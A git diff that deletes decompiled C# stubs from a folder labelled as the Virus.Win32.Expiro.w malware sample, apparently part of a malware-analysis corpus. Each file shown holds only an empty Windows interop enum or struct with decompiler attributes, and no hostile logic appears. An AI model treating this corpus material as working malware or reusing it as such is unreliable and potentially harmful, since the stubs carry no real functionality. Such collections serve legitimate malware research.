b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_THDTYPE.cs deleted file mode 100644 index 949ee20d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_THDTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _THDTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _THDTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_INFORMATION_CLASS.cs deleted file mode 100644 index 783f530f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum _TOKEN_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_MANDATORY_LABEL.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_MANDATORY_LABEL.cs deleted file mode 100644 index 8846abda..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_MANDATORY_LABEL.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_MANDATORY_LABEL -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 8)] -internal struct _TOKEN_MANDATORY_LABEL -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_OWNER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_OWNER.cs deleted file mode 100644 index c94143d3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_OWNER.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_OWNER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct _TOKEN_OWNER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_STATISTICS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_STATISTICS.cs deleted file mode 100644 index d967a39b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_STATISTICS.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_STATISTICS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 56)] -internal struct _TOKEN_STATISTICS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_TYPE.cs deleted file mode 100644 index a2e9158f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TOKEN_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _TOKEN_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTED_INFORMATION_CLASS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTED_INFORMATION_CLASS.cs deleted file mode 100644 index 6c293faa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTED_INFORMATION_CLASS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTED_INFORMATION_CLASS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum _TRUSTED_INFORMATION_CLASS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTEE_FORM.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTEE_FORM.cs deleted file mode 100644 index f58f328f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTEE_FORM.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTEE_FORM -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum _TRUSTEE_FORM -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTEE_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTEE_TYPE.cs deleted file mode 100644 index 4144f559..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTEE_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _TRUSTEE_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum _TRUSTEE_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_URLZONEREG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_URLZONEREG.cs deleted file mode 100644 index 96f22254..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_URLZONEREG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _URLZONEREG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum _URLZONEREG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_USER_MARSHAL_CB_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_USER_MARSHAL_CB_TYPE.cs deleted file mode 100644 index 000e2efa..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_USER_MARSHAL_CB_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: _USER_MARSHAL_CB_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum _USER_MARSHAL_CB_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IActionProgressDialog_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IActionProgressDialog_0001.cs deleted file mode 100644 index c0d3303c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IActionProgressDialog_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IActionProgressDialog_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IActionProgressDialog_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IActionProgress_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IActionProgress_0001.cs deleted file mode 100644 index 124bca14..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IActionProgress_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IActionProgress_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IActionProgress_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0001.cs deleted file mode 100644 index 85df5802..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum __MIDL_IBindStatusCallback_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0002.cs deleted file mode 100644 index 15cdbd61..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0003.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0003.cs deleted file mode 100644 index 75b1f473..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0003.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0003 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IBindStatusCallback_0003 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0004.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0004.cs deleted file mode 100644 index 5dc69380..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0004.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0004 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_IBindStatusCallback_0004 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0005.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0005.cs deleted file mode 100644 index ef8ce696..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0005.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0005 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum __MIDL_IBindStatusCallback_0005 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0006.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0006.cs deleted file mode 100644 index 5acf6115..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0006.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBindStatusCallback_0006 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum __MIDL_IBindStatusCallback_0006 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBrowserFrameOptions_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBrowserFrameOptions_0001.cs deleted file mode 100644 index a9f4fe7f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBrowserFrameOptions_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IBrowserFrameOptions_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL_IBrowserFrameOptions_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ICDBurnExt_0002.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ICDBurnExt_0002.cs deleted file mode 100644 index 4cd9bf03..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ICDBurnExt_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_ICDBurnExt_0002 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum __MIDL_ICDBurnExt_0002 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ICodeInstall_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ICodeInstall_0001.cs deleted file mode 100644 index 4ef3fd2e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ICodeInstall_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_ICodeInstall_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum __MIDL_ICodeInstall_0001 -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0001.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0001.cs deleted file mode 100644 index c83ac574..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0001.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: __MIDL_IInternetSecurityManager_0001 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum 